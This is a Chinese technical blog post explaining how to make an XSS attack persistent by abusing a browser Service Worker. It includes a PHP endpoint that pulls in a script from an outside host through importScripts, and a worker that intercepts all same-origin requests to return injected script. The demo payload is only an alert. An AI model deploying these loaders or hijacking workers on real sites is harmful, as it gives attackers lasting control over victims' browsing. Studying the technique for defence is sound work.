XSS持久化劫持之ServiceWorker
1、Service Worker
简单理解就是 Service Worker(简称sw)提供了一组API,能够拦截当前站点产生HTTP请求,还能控制返回结果。因此,sw 拦住请求后,使用 Cache Storage 里的内容进行返回,就可以实现离线缓存的功能。如果不手动取消已经注册过的sw服务,刷新/重新打开页面都会启动站点的sw服务。
查看已有的sw:Chrome地址栏访问 chrome://serviceworker-internals/,就可以看见已有的后台服务。
注册sw服务:
<script>
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw.js').then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
}).catch(function(err) {
console.log('ServiceWorker registration failed: ', err);
});
}
</script>
先检测ServiceWorker API在浏览器中是否可用,可用的话一个Service Worker(/sw.js)将被注册,如果这个Service Worker已经注册过了,则浏览器则会忽略以上代码。
需要注意的是 sw 文件的路径问题,如果存放在网站的根路径下,则表示该Service Worker将会收到该网站的所有fetch事件,如果我们将Service Worker文件注册为/example/sw.js,则代表该Service Worker将只会收到/example/路径下的fetch事件。
2、XSS利用
要注册sw服务,需要的是在同源下可控一个 sw.js 文件,一般这个比较困难,另一种方法就是通过 jsonp 的 callback参考来控制,只要响应的Content-Type是 JS 类型,则可以当成一个js文件,通过 importScripts 来引入其余第三方域的注册器就行了。
demo.html(模拟xss攻击点,进行sw服务注册,1.php 地址实际环境中也就是用的我们的同源下的jsonp接口地址)
<script>
navigator.serviceWorker.register('1.php');
</script>
1.php(响应content-type是js类型,故页面当成一个js文件,通过importScripts引入第三方域的js)
<?php
header('Content-Type: application/x-javascript');
echo "importScripts('//192.168.237.128/1.js')";
?>
1.js(实现了时间监听等fetch)
self.addEventListener('install', function(event) {
console.log('install ok!');
});
// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response。否则用Fetch请求网络上原本的url,进行本地缓存(为了不影响正常功能))
self.addEventListener('fetch', function (event) {
event.respondWith(
//console.log(event.request)
caches.match(event.request).then(function(res){
return requestBackend(event);//没缓存就进行缓存
})
)
});
function requestBackend(event){
var url = event.request.clone();
console.log(url) //打印内容是打印到请求页面
return new Response("<script>alert('sw working')</script>", {headers: { 'Content-Type': 'text/html' }})
}
访问 demo.html 后,再任意访问同源下其他页面,都会被劫持,执行 <script>alert('sw working')</script>
参考:https://xz.aliyun.com/t/3228
浙公网安备 33010602011771号